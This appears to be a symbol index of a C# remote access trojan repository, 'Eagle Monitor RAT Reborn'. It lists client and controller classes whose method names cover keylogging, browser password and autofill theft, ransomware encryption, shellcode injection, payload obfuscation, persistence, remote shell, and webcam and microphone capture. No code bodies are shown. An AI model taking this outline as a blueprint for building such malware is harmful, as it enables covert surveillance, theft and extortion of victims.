SYMBOL INDEX (1445 symbols across 266 files) FILE: Remote Access Tool/C2/client.cs class Config (line 25) | public static class Config class StarterClass (line 40) | public class StarterClass method OneInstance (line 44) | public static void OneInstance() method DomCheck (line 53) | private static System.Reflection.Assembly DomCheck(object send, System... method StarterClass (line 90) | static StarterClass() method StartOfflineKeylogger (line 95) | internal static void StartOfflineKeylogger() method NtTerminateProcess (line 113) | [DllImport("ntdll.dll")] method IsAdmin (line 118) | internal static bool IsAdmin() method Main (line 123) | [MTAThread] method MakeInstall (line 155) | public static void MakeInstall() class PacketHandler (line 160) | internal static class PacketHandler method PacketHandler (line 165) | static PacketHandler() method HandlePacket (line 170) | internal static void HandlePacket(IPacket packet) method LoadPlugin (line 197) | private static void LoadPlugin(IPacket packet) method EndLoadPlugin (line 214) | private static void EndLoadPlugin(IAsyncResult ar) class ClientHandler (line 220) | internal class ClientHandler method ClientHandler (line 222) | static ClientHandler() method StartConnect (line 249) | public static void StartConnect(ClientHandler clientHandler) method Connect (line 263) | private static bool Connect(ClientHandler clientHandler) method EndConnect (line 276) | private static void EndConnect(IAsyncResult ar) method StartReceive (line 294) | private static void StartReceive(ClientHandler clientHandler) method Receive (line 301) | private static byte[] Receive(ClientHandler clientHandler) method EndReceive (line 331) | private static void EndReceive(IAsyncResult ar) method ParsePacket (line 342) | private static IPacket ParsePacket(byte[] bufferPacket) method EndParsePacket (line 346) | private static void EndParsePacket(IAsyncResult ar) method StartSendPacket (line 353) | private static void StartSendPacket(ClientHandler clientHandler, IPack... method Send (line 359) | private static int Send(ClientHandler clientHandler, IPacket data) method EndSendPacket (line 413) | private static void EndSendPacket(IAsyncResult ar) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/IconInjector.cs class IconInjector (line 12) | internal static class IconInjector method SetIcon (line 14) | internal static void SetIcon(string iconPath, string exePath) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/Obfuscate.cs class Obfuscate (line 16) | internal class Obfuscate method ObfuscateMethods (line 19) | private static void ObfuscateMethods(ModuleDef md) method ObfuscateStrings (line 44) | private static void ObfuscateStrings(ModuleDef md) method ObfuscateClasses (line 70) | private static void ObfuscateClasses(ModuleDef md) method CleanAsm (line 80) | private static void CleanAsm(ModuleDef md) method ObfuscateFields (line 100) | private static void ObfuscateFields(ModuleDef md) method ApplyChangesToResourcesFields (line 125) | private static void ApplyChangesToResourcesFields(ModuleDef md) method ObfuscateProperties (line 157) | private static void ObfuscateProperties(ModuleDef md) method ObfuscateNamespaces (line 174) | private static void ObfuscateNamespaces(ModuleDef md) method ApplyChangesToResourcesNamespace (line 200) | private static void ApplyChangesToResourcesNamespace(ModuleDef md) method ObfuscateStub (line 239) | internal static void ObfuscateStub(ModuleDef md)//, string outFile) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs class StubBuilder (line 16) | internal class StubBuilder method BuildClient (line 18) | internal static bool BuildClient() method ReplaceStub (line 182) | private static string ReplaceStub(string stub, string toReplace, strin... method Rename (line 187) | private static string Rename(string stub, string toReplace) method LogStep (line 192) | private static void LogStep(string log) method Build (line 197) | private static void Build() method LibCompressor (line 223) | private static string LibCompressor(byte[] lib) method Obfuscator (line 237) | private static bool Obfuscator(string path) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Builder/WriteAssemblyInfo.cs class WriteAssemblyInfo (line 11) | internal static class WriteAssemblyInfo method WriteAssemblyInformation (line 13) | internal static void WriteAssemblyInformation(string path, string file... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.Designer.cs class AboutForm (line 3) | partial class AboutForm method Dispose (line 14) | protected override void Dispose(bool disposing) method InitializeComponent (line 29) | private void InitializeComponent() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/AboutForm.cs class AboutForm (line 22) | public partial class AboutForm : FormPattern method AboutForm (line 24) | public AboutForm() method MainForm_Load (line 29) | private void MainForm_Load(object sender, EventArgs e) method RowsAdder (line 40) | private void RowsAdder(string nameOfDetail, string detail) method closeGuna2ControlBox_Click (line 48) | private void closeGuna2ControlBox_Click(object sender, EventArgs e) method logoPictureBox_MouseDown (line 53) | private void logoPictureBox_MouseDown(object sender, System.Windows.Fo... method versionLabel_MouseDown (line 58) | private void versionLabel_MouseDown(object sender, System.Windows.Form... method dataGridView1_MouseUp (line 64) | private void dataGridView1_MouseUp(object sender, MouseEventArgs e) method MainForm_MouseLeave (line 77) | private void MainForm_MouseLeave(object sender, EventArgs e) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs class ClientForm (line 3) | partial class ClientForm method Dispose (line 14) | protected override void Dispose(bool disposing) method InitializeComponent (line 29) | private void InitializeComponent() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.cs class ClientForm (line 24) | internal partial class ClientForm : FormPattern method ClientForm (line 40) | internal ClientForm(ClientHandler clientHandler) method ClientForm_Load (line 54) | private void ClientForm_Load(object sender, EventArgs e) method SetUI (line 61) | private void SetUI() method closeGuna2ControlBox_Click (line 215) | private void closeGuna2ControlBox_Click(object sender, EventArgs e) method FixClientHandlersBeforeLeaving (line 260) | private void FixClientHandlersBeforeLeaving() method logoPictureBox_MouseDown (line 331) | private void logoPictureBox_MouseDown(object sender, MouseEventArgs e) method clientLabel_MouseDown (line 336) | private void clientLabel_MouseDown(object sender, MouseEventArgs e) method ClientForm_MouseLeave (line 341) | private void ClientForm_MouseLeave(object sender, EventArgs e) method getPasswordToolStripMenuItem_Click (line 375) | private void getPasswordToolStripMenuItem_Click(object sender, EventAr... method passwordsDataGridView_MouseUp (line 385) | private void passwordsDataGridView_MouseUp(object sender, System.Windo... method historyToolStripMenuItem_Click (line 398) | private void historyToolStripMenuItem_Click(object sender, EventArgs e) method historyDataGridView_MouseUp (line 408) | private void historyDataGridView_MouseUp(object sender, MouseEventArgs e) method autofillToolStripMenuItem_Click (line 422) | private void autofillToolStripMenuItem_Click(object sender, EventArgs e) method keywordsToolStripMenuItem_Click (line 432) | private void keywordsToolStripMenuItem_Click(object sender, EventArgs e) method keywordsDataGridView_MouseUp (line 443) | private void keywordsDataGridView_MouseUp(object sender, MouseEventArg... method autofillDataGridView_MouseUp (line 456) | private void autofillDataGridView_MouseUp(object sender, MouseEventArg... method refreshToolStripMenuItem_Click (line 471) | private void refreshToolStripMenuItem_Click(object sender, EventArgs e) method disksGuna2ComboBox_SelectedIndexChanged (line 480) | private void disksGuna2ComboBox_SelectedIndexChanged(object sender, Ev... method goToolStripMenuItem_Click (line 490) | private void goToolStripMenuItem_Click(object sender, EventArgs e) method backToolStripMenuItem_Click (line 507) | private void backToolStripMenuItem_Click(object sender, EventArgs e) method fileManagerDataGridView_MouseDoubleClick (line 526) | private void fileManagerDataGridView_MouseDoubleClick(object sender, M... method downloadFileToolStripMenuItem_Click (line 542) | private void downloadFileToolStripMenuItem_Click(object sender, EventA... method startDownloadFileToolStripMenuItem_Click (line 566) | private void startDownloadFileToolStripMenuItem_Click(object sender, E... method deleteFileToolStripMenuItem_Click (line 581) | private void deleteFileToolStripMenuItem_Click(object sender, EventArg... method downloadSToolStripMenuItem_Click (line 602) | private void downloadSToolStripMenuItem_Click(object sender, EventArgs e) method desktopSToolStripMenuItem_Click (line 611) | private void desktopSToolStripMenuItem_Click(object sender, EventArgs e) method documentsSToolStripMenuItem_Click (line 620) | private void documentsSToolStripMenuItem_Click(object sender, EventArg... method userProfileSToolStripMenuItem_Click (line 629) | private void userProfileSToolStripMenuItem_Click(object sender, EventA... method addRansomwareToolStripMenuItem_Click (line 640) | private void addRansomwareToolStripMenuItem_Click(object sender, Event... method fileManagerDataGridView_MouseUp (line 658) | private void fileManagerDataGridView_MouseUp(object sender, MouseEvent... method dowloadFileDataGridView_MouseUp (line 670) | private void dowloadFileDataGridView_MouseUp(object sender, MouseEvent... method refreshProcessToolStripMenuItem_Click (line 684) | private void refreshProcessToolStripMenuItem_Click(object sender, Even... method killToolStripMenuItem_Click (line 693) | private void killToolStripMenuItem_Click(object sender, EventArgs e) method suspendToolStripMenuItem_Click (line 706) | private void suspendToolStripMenuItem_Click(object sender, EventArgs e) method resumeToolStripMenuItem_Click (line 719) | private void resumeToolStripMenuItem_Click(object sender, EventArgs e) method shellcodeInjectionToolStripMenuItem_Click (line 732) | private void shellcodeInjectionToolStripMenuItem_Click(object sender, ... method captureGuna2ToggleSwitch_CheckedChanged (line 771) | private void captureGuna2ToggleSwitch_CheckedChanged(object sender, Ev... method remoteDesktopPictureBox_SizeChanged (line 804) | private void remoteDesktopPictureBox_SizeChanged(object sender, EventA... method qualityGuna2TrackBar_ValueChanged (line 821) | private void qualityGuna2TrackBar_ValueChanged(object sender, EventArg... method mouseGuna2ToggleSwitch_CheckedChanged (line 840) | private void mouseGuna2ToggleSwitch_CheckedChanged(object sender, Even... method remoteDesktopPictureBox_MouseWheel (line 848) | private void remoteDesktopPictureBox_MouseWheel(object sender, MouseEv... method remoteDesktopPictureBox_MouseDown (line 862) | private void remoteDesktopPictureBox_MouseDown(object sender, MouseEve... method remoteDesktopPictureBox_MouseUp (line 883) | private void remoteDesktopPictureBox_MouseUp(object sender, MouseEvent... method remoteDesktopPictureBox_MouseMove (line 904) | private void remoteDesktopPictureBox_MouseMove(object sender, MouseEve... method keyboardGuna2ToggleSwitch_CheckedChanged (line 919) | private void keyboardGuna2ToggleSwitch_CheckedChanged(object sender, E... method ClientForm_KeyUp (line 927) | private void ClientForm_KeyUp(object sender, KeyEventArgs e) method ClientForm_KeyDown (line 938) | private void ClientForm_KeyDown(object sender, KeyEventArgs e) method IsLockKey (line 953) | private bool IsLockKey(Keys key) method saveRemoteDesktopToolStripMenuItem_Click (line 960) | private void saveRemoteDesktopToolStripMenuItem_Click(object sender, E... method getWebCamToolStripMenuItem_Click (line 970) | private void getWebCamToolStripMenuItem_Click(object sender, EventArgs e) method captureWebCamGuna2ToggleSwitch_CheckedChanged (line 979) | private void captureWebCamGuna2ToggleSwitch_CheckedChanged(object send... method saveWebCamToolStripMenuItem_Click (line 1016) | private void saveWebCamToolStripMenuItem_Click(object sender, EventArg... method SetLocalAudioDevices (line 1026) | private void SetLocalAudioDevices() method remoteMicrophoneGuna2ToggleSwitch_CheckedChanged (line 1036) | private void remoteMicrophoneGuna2ToggleSwitch_CheckedChanged(object s... method getMicrophonesToolStripMenuItem_Click (line 1075) | private void getMicrophonesToolStripMenuItem_Click(object sender, Even... method sendDotNetGuna2Button_Click (line 1086) | private void sendDotNetGuna2Button_Click(object sender, EventArgs e) method testDotNetGuna2Button_Click (line 1126) | private void testDotNetGuna2Button_Click(object sender, EventArgs e) method languageComboBox_SelectedIndexChanged (line 1153) | private void languageComboBox_SelectedIndexChanged(object sender, Even... method addImportLibContextMenuStripToolStripMenuItem_Click (line 1166) | private void addImportLibContextMenuStripToolStripMenuItem_Click(objec... method removeImportLibContextMenuStripToolStripMenuItem_Click (line 1174) | private void removeImportLibContextMenuStripToolStripMenuItem_Click(ob... method importLibDataGridView_MouseUp (line 1182) | private void importLibDataGridView_MouseUp(object sender, MouseEventAr... method shellcodeDataGridView_MouseUp (line 1196) | private void shellcodeDataGridView_MouseUp(object sender, MouseEventAr... method shellcodeDataGridView_DragEnter (line 1208) | private void shellcodeDataGridView_DragEnter(object sender, DragEventA... method shellcodeDataGridView_DragDrop (line 1212) | private void shellcodeDataGridView_DragDrop(object sender, DragEventAr... method addShellCodeContextMenuStripToolStripMenuItem_Click (line 1223) | private void addShellCodeContextMenuStripToolStripMenuItem_Click(objec... method removeShellCodeContextMenuStripToolStripMenuItem_Click (line 1242) | private void removeShellCodeContextMenuStripToolStripMenuItem_Click(ob... method sendShellcodeToolStripMenuItem_Click (line 1250) | private void sendShellcodeToolStripMenuItem_Click(object sender, Event... method nativePEDataGridView_MouseUp (line 1264) | private void nativePEDataGridView_MouseUp(object sender, MouseEventArg... method nativePEDataGridView_DragEnter (line 1276) | private void nativePEDataGridView_DragEnter(object sender, DragEventAr... method nativePEDataGridView_DragDrop (line 1281) | private void nativePEDataGridView_DragDrop(object sender, DragEventArg... method addNativePEContextMenuStripToolStripMenuItem_Click (line 1292) | private void addNativePEContextMenuStripToolStripMenuItem_Click(object... method removeNativePEContextMenuStripToolStripMenuItem_Click (line 1311) | private void removeNativePEContextMenuStripToolStripMenuItem_Click(obj... method sendNativePEContextMenuStripToolStripMenuItem_Click (line 1319) | private void sendNativePEContextMenuStripToolStripMenuItem_Click(objec... method managedPEDataGridView_MouseUp (line 1344) | private void managedPEDataGridView_MouseUp(object sender, MouseEventAr... method managedPEDataGridView_DragEnter (line 1357) | private void managedPEDataGridView_DragEnter(object sender, DragEventA... method managedPEDataGridView_DragDrop (line 1362) | private void managedPEDataGridView_DragDrop(object sender, DragEventAr... method sendManagedPEContextMenuStripToolStripMenuItem_Click (line 1378) | private void sendManagedPEContextMenuStripToolStripMenuItem_Click(obje... method removeManagedPEContextMenuStripToolStripMenuItem_Click (line 1403) | private void removeManagedPEContextMenuStripToolStripMenuItem_Click(ob... method addManagedPEContextMenuStripToolStripMenuItem_Click (line 1411) | private void addManagedPEContextMenuStripToolStripMenuItem_Click(objec... method retrieveInformationGuna2Button_Click (line 1433) | private void retrieveInformationGuna2Button_Click(object sender, Event... method retrieveNetworkGuna2Button_Click (line 1441) | private void retrieveNetworkGuna2Button_Click(object sender, EventArgs e) method keyloggerGuna2Button_Click (line 1451) | private void keyloggerGuna2Button_Click(object sender, EventArgs e) method chatGuna2Button_Click (line 1477) | private void chatGuna2Button_Click(object sender, EventArgs e) method chatSendGuna2Button_Click (line 1502) | private void chatSendGuna2Button_Click(object sender, EventArgs e) method blockKeyboardGuna2CheckBox_CheckedChanged (line 1520) | private void blockKeyboardGuna2CheckBox_CheckedChanged(object sender, ... method blockMouseGuna2CheckBox_CheckedChanged (line 1541) | private void blockMouseGuna2CheckBox_CheckedChanged(object sender, Eve... method rotateScreenGuna2Button_Click (line 1563) | private void rotateScreenGuna2Button_Click(object sender, EventArgs e) method wallpaperGuna2Button_Click (line 1571) | private void wallpaperGuna2Button_Click(object sender, EventArgs e) method showTaskbarGuna2Button_Click (line 1587) | private void showTaskbarGuna2Button_Click(object sender, EventArgs e) method showDesktopIconsGuna2Button_Click (line 1596) | private void showDesktopIconsGuna2Button_Click(object sender, EventArg... method hideTaskbarGuna2Button_Click (line 1605) | private void hideTaskbarGuna2Button_Click(object sender, EventArgs e) method hideDesktopIconsGuna2Button_Click (line 1614) | private void hideDesktopIconsGuna2Button_Click(object sender, EventArg... method screenlockerGuna2CheckBox_CheckedChanged (line 1622) | private void screenlockerGuna2CheckBox_CheckedChanged(object sender, E... method volumeUpGuna2Button_Click (line 1644) | private void volumeUpGuna2Button_Click(object sender, EventArgs e) method volumeDownGuna2Button_Click (line 1653) | private void volumeDownGuna2Button_Click(object sender, EventArgs e) method linkWebGuna2Button_Click (line 1663) | private void linkWebGuna2Button_Click(object sender, EventArgs e) method setPowerGuna2Button_Click (line 1673) | private void setPowerGuna2Button_Click(object sender, EventArgs e) method refreshRestorePointToolStripMenuItem_Click (line 1716) | private void refreshRestorePointToolStripMenuItem_Click(object sender,... method deleteRestorePointToolStripMenuItem_Click (line 1725) | private void deleteRestorePointToolStripMenuItem_Click(object sender, ... method askUACGuna2Button_Click (line 1737) | private void askUACGuna2Button_Click(object sender, EventArgs e) method removePathToolStripMenuItem_Click (line 1750) | private void removePathToolStripMenuItem_Click(object sender, EventArg... method addExtensionToolStripMenuItem_Click (line 1758) | private void addExtensionToolStripMenuItem_Click(object sender, EventA... method removeExtensionToolStripMenuItem_Click (line 1769) | private void removeExtensionToolStripMenuItem_Click(object sender, Eve... method removeToolStripMenuItem_Click (line 1777) | private void removeToolStripMenuItem_Click(object sender, EventArgs e) method generateRSAKeyGuna2Button_Click (line 1785) | private void generateRSAKeyGuna2Button_Click(object sender, EventArgs e) method startEncryptionGuna2Button_Click (line 1805) | private void startEncryptionGuna2Button_Click(object sender, EventArgs e) method startDecryptionGuna2Button_Click (line 1844) | private void startDecryptionGuna2Button_Click(object sender, EventArgs e) method remoteShellGuna2Button_Click (line 1854) | private void remoteShellGuna2Button_Click(object sender, EventArgs e) method remoteShellGuna2TextBox_KeyDown (line 1886) | private void remoteShellGuna2TextBox_KeyDown(object sender, KeyEventAr... method remoteShellStdOutRichTextBox_TextChanged (line 1913) | private void remoteShellStdOutRichTextBox_TextChanged(object sender, E... method mainGuna2TabControl_SelectedIndexChanged (line 1918) | private void mainGuna2TabControl_SelectedIndexChanged(object sender, E... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/CustomContextMenuStrip.cs class CustomContextMenuStrip (line 11) | internal class CustomContextMenuStrip : ContextMenuStrip method CustomContextMenuStrip (line 13) | public CustomContextMenuStrip() : base() class LightMenuColorTable (line 34) | internal class LightMenuColorTable : ProfessionalColorTable method LightMenuColorTable (line 36) | public LightMenuColorTable() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/FormPattern.cs class FormPattern (line 13) | public class FormPattern : Form method FormPattern (line 16) | public FormPattern() method OnPaint (line 107) | protected override void OnPaint(PaintEventArgs e) // you can safely om... method SendMessage (line 147) | [DllImport("user32.dll")] method InitializeComponent (line 150) | private void InitializeComponent() method FormPattern_Load (line 163) | private void FormPattern_Load(object sender, EventArgs e) method ReleaseCapture (line 168) | [DllImport("user32.dll")] method WndProc (line 174) | protected override void WndProc(ref Message message) method OnMouseDown (line 202) | protected override void OnMouseDown(MouseEventArgs e) method MoveForm_ (line 214) | protected void MoveForm_() method MoveForm (line 219) | protected IntPtr MoveForm() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.Designer.cs class MainForm (line 3) | partial class MainForm method Dispose (line 14) | protected override void Dispose(bool disposing) method InitializeComponent (line 29) | private void InitializeComponent() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs class MainForm (line 21) | public partial class MainForm : FormPattern method MainForm (line 23) | public MainForm() method MainForm_Load (line 28) | private void MainForm_Load(object sender, EventArgs e) method MainForm_Shown (line 77) | private void MainForm_Shown(object sender, EventArgs e) method closeGuna2ControlBox_Click (line 124) | private void closeGuna2ControlBox_Click(object sender, EventArgs e) method logoPictureBox_MouseDown (line 132) | private void logoPictureBox_MouseDown(object sender, System.Windows.Fo... method versionLabel_MouseDown (line 137) | private void versionLabel_MouseDown(object sender, System.Windows.Form... method dataGridView1_MouseUp (line 143) | private void dataGridView1_MouseUp(object sender, MouseEventArgs e) method hostsDataGridView_MouseUp (line 156) | private void hostsDataGridView_MouseUp(object sender, MouseEventArgs e) method MainForm_MouseLeave (line 169) | private void MainForm_MouseLeave(object sender, EventArgs e) method githubPictureBox_MouseClick (line 178) | private void githubPictureBox_MouseClick(object sender, MouseEventArgs e) method githubPictureBox_MouseDown (line 183) | private void githubPictureBox_MouseDown(object sender, MouseEventArgs e) method githubPictureBox_MouseHover (line 188) | private void githubPictureBox_MouseHover(object sender, EventArgs e) method githubPictureBox_MouseUp (line 193) | private void githubPictureBox_MouseUp(object sender, MouseEventArgs e) method githubPictureBox_MouseLeave (line 198) | private void githubPictureBox_MouseLeave(object sender, EventArgs e) method loginToolStripMenuItem_Click (line 203) | private void loginToolStripMenuItem_Click(object sender, EventArgs e) method closeToolStripMenuItem_Click (line 212) | private void closeToolStripMenuItem_Click(object sender, EventArgs e) method closeUninstallToolStripMenuItem_Click (line 222) | private void closeUninstallToolStripMenuItem_Click(object sender, Even... method autoSaveRecoveryGuna2CheckBox_CheckedChanged (line 232) | private void autoSaveRecoveryGuna2CheckBox_CheckedChanged(object sende... method notificationSoundGuna2CheckBox_CheckedChanged (line 240) | private void notificationSoundGuna2CheckBox_CheckedChanged(object send... method persistenceGuna2CheckBox_CheckedChanged (line 249) | private void persistenceGuna2CheckBox_CheckedChanged(object sender, Ev... method removeHostStripMenuItem_Click (line 265) | private void removeHostStripMenuItem_Click(object sender, EventArgs e) method buildGuna2Button_Click (line 271) | private void buildGuna2Button_Click(object sender, EventArgs e) method iconGuna2Button_Click (line 293) | private void iconGuna2Button_Click(object sender, EventArgs e) method randomizeGuna2Button_Click (line 309) | private void randomizeGuna2Button_Click(object sender, EventArgs e) method addHostGuna2Button_Click (line 322) | private void addHostGuna2Button_Click(object sender, EventArgs e) method test123ToolStripMenuItem_Click (line 334) | private void test123ToolStripMenuItem_Click(object sender, EventArgs e) method test456ToolStripMenuItem_Click (line 347) | private void test456ToolStripMenuItem_Click(object sender, EventArgs e) method addTaskGuna2Button_Click (line 360) | private void addTaskGuna2Button_Click(object sender, EventArgs e) method aboutToolStripMenuItem_Click (line 387) | private void aboutToolStripMenuItem_Click(object sender, EventArgs e) method portRemoveStripMenuItem_Click (line 392) | private void portRemoveStripMenuItem_Click(object sender, EventArgs e) method addToolStripMenuItem_Click (line 398) | private void addToolStripMenuItem_Click(object sender, EventArgs e) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs class Utils (line 16) | internal class Utils method Enable (line 18) | internal static void Enable(ListView listView) method Enable (line 24) | internal static void Enable(DataGridView dataGridView) method MoveForm (line 30) | internal static void MoveForm(FormPattern formPattern) method CloseForm (line 36) | internal static void CloseForm(FormPattern any) method InitiateForm (line 45) | internal static void InitiateForm(ClientHandler clientHandler) method ResizeImage (line 64) | internal static Image ResizeImage(Image imgToResize, Size size) method SetTabImage (line 69) | internal static void SetTabImage(Guna2TabControl guna2TabControl, Icon... method SetTotalClients (line 90) | internal static void SetTotalClients() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/DotNetCodeExecution.cs class DotNetCodeExecution (line 13) | internal static class DotNetCodeExecution method GetCode (line 15) | internal static string GetCode(Language currentLanguage) method RowAdder (line 59) | internal static void RowAdder(string lib, DataGridView importLib) method TryLocally (line 66) | internal static void TryLocally(CodeDomProvider codeDomProvider, strin... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Encryption.cs class Encryption (line 11) | internal class Encryption method RSAEncrypt (line 13) | internal static byte[] RSAEncrypt(byte[] data, string strPublicKey) method RSADecrypt (line 21) | internal static byte[] RSADecrypt(byte[] data, string strPrivateKey) method GetKey (line 29) | internal static Dictionary GetKey() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/EncryptionInformation.cs class EncryptionInformation (line 10) | internal class EncryptionInformation FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/GitHubAPI.cs class GitHubAPI (line 8) | internal class GitHubAPI FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Imports.cs class Imports (line 11) | internal class Imports method NtTerminateProcess (line 16) | [DllImport(ntdll, SetLastError = true)] method ReleaseCapture (line 19) | [DllImport(user32)] method SendMessage (line 22) | [DllImport(user32)] method SendMessage (line 28) | [DllImport(user32, CharSet = CharSet.Auto)] FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/RandomString.cs class RandomString (line 13) | internal class RandomString method NextString (line 24) | internal static string NextString(int length) => new string(( method RandomDigit (line 30) | internal static int RandomDigit() method RandomStringFunction (line 35) | public static string RandomStringFunction(int length) method GenerateRandomString (line 47) | public static string GenerateRandomString() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Settings.cs class Settings (line 12) | internal class Settings FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs class Utils (line 21) | internal class Utils class CoreAssembly (line 23) | internal class CoreAssembly method SplitPath (line 34) | internal static string SplitPath(string P) method ReadSettings (line 40) | internal static void ReadSettings() method SaveSettings (line 118) | internal static void SaveSettings() method SaveLogs (line 189) | internal static void SaveLogs(DataGridView logDataGridView) method ResizeImage (line 194) | internal static Image ResizeImage(Image imgToResize, Size size) method StartServers (line 199) | internal static void StartServers() method ToCSV (line 210) | internal static void ToCSV(DataGridView dataGridView, string filePath) method ToCSV (line 234) | internal static void ToCSV(List elemList, string filePath, s... method DateFormater (line 259) | internal static string DateFormater() method Numeric2Bytes (line 265) | internal static string Numeric2Bytes(double b) method ThreeNonZeroDigits (line 294) | private static string ThreeNonZeroDigits(double value) method CheckVersionAsync (line 312) | internal async static Task CheckVersionAsync() method SHA512 (line 328) | internal static string SHA512(string input) FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ChatHandler.cs class ChatHandler (line 10) | internal class ChatHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs class ClientHandler (line 19) | internal class ClientHandler : IDisposable method ClientHandler (line 21) | static ClientHandler() method SendPacketToMultipleClients (line 40) | internal static void SendPacketToMultipleClients(IPacket packet) method ClientHandler (line 65) | internal ClientHandler(Socket sock, int port) : base() method StartReceiveData (line 74) | private static void StartReceiveData(ClientHandler clientHandler) method ReceiveData (line 82) | private static byte[] ReceiveData(ClientHandler clientHandler) method EndReceiveData (line 116) | private static void EndReceiveData(IAsyncResult ar) method StartParsePacket (line 129) | private static void StartParsePacket(byte[] data, ClientHandler client... method ParsePacket (line 134) | private static IPacket ParsePacket(byte[] BufferPacket) method EndParsePacket (line 141) | private static void EndParsePacket(IAsyncResult ar) method StartSendData (line 242) | internal static void StartSendData(ClientHandler clientHandler, IPacke... method SendData (line 266) | private static IPacket SendData(ClientHandler clientHandler, IPacket d... method EndSendData (line 330) | private static void EndSendData(IAsyncResult ar) method Dispose (line 459) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/KeyloggerHandler.cs class KeyloggerHandler (line 10) | internal class KeyloggerHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs class PacketHandler (line 15) | internal class PacketHandler method PacketHandler (line 17) | static PacketHandler() method StartHandlePacket (line 26) | internal static void StartHandlePacket(IPacket packet, ClientHandler c... method EndHandlePacket (line 31) | private static void EndHandlePacket(IAsyncResult ar) method HandlePacket (line 137) | private static IPacket HandlePacket(IPacket packet, ClientHandler clie... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteDesktopHandler.cs class RemoteDesktopHandler (line 10) | internal class RemoteDesktopHandler : IDisposable method Dispose (line 20) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteMicrophoneHandler.cs class RemoteMicrophoneHandler (line 11) | internal class RemoteMicrophoneHandler : IDisposable method RemoteMicrophoneHandler (line 13) | internal RemoteMicrophoneHandler() method Dispose (line 25) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteShellHandler.cs class RemoteShellHandler (line 10) | internal class RemoteShellHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteWebCamHandler.cs class RemoteWebCamHandler (line 10) | internal class RemoteWebCamHandler : IDisposable method Dispose (line 18) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs class ServerHandler (line 14) | internal class ServerHandler : IDisposable method ServerHandler (line 16) | static ServerHandler() method ServerHandler (line 34) | internal ServerHandler(int port) : base() method StartAcceptClient (line 53) | private static void StartAcceptClient(ServerHandler serverHandler) method AcceptClient (line 58) | private static ClientHandler AcceptClient(ServerHandler serverHandler) method EndAcceptClient (line 66) | private static void EndAcceptClient(IAsyncResult ar) method Dispose (line 76) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs class ChatHandler (line 10) | internal class ChatHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs class KeyloggerHandler (line 10) | internal class KeyloggerHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs class RemoteDesktopHandler (line 10) | internal class RemoteDesktopHandler : IDisposable method Dispose (line 20) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs class RemoteMicrophoneHandler (line 11) | internal class RemoteMicrophoneHandler : IDisposable method RemoteMicrophoneHandler (line 13) | internal RemoteMicrophoneHandler() method Dispose (line 25) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteShellHandler.cs class RemoteShellHandler (line 10) | internal class RemoteShellHandler : IDisposable method Dispose (line 15) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteWebCamHandler.cs class RemoteWebCamHandler (line 10) | internal class RemoteWebCamHandler : IDisposable method Dispose (line 18) | public void Dispose() FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioCapturePacketHandler.cs class RemoteAudioCapturePacketHandler (line 12) | internal class RemoteAudioCapturePacketHandler method RemoteAudioCapturePacketHandler (line 14) | public RemoteAudioCapturePacketHandler(RemoteAudioCapturePacket remote... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs class RemoteAudioPacketHandler (line 12) | internal class RemoteAudioPacketHandler method RemoteAudioPacketHandler (line 14) | public RemoteAudioPacketHandler(RemoteAudioPacket remoteAudioPacket) :... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs class ConnectedPacketHandler (line 18) | internal class ConnectedPacketHandler method ConnectedPacketHandler (line 20) | public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientH... FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs class 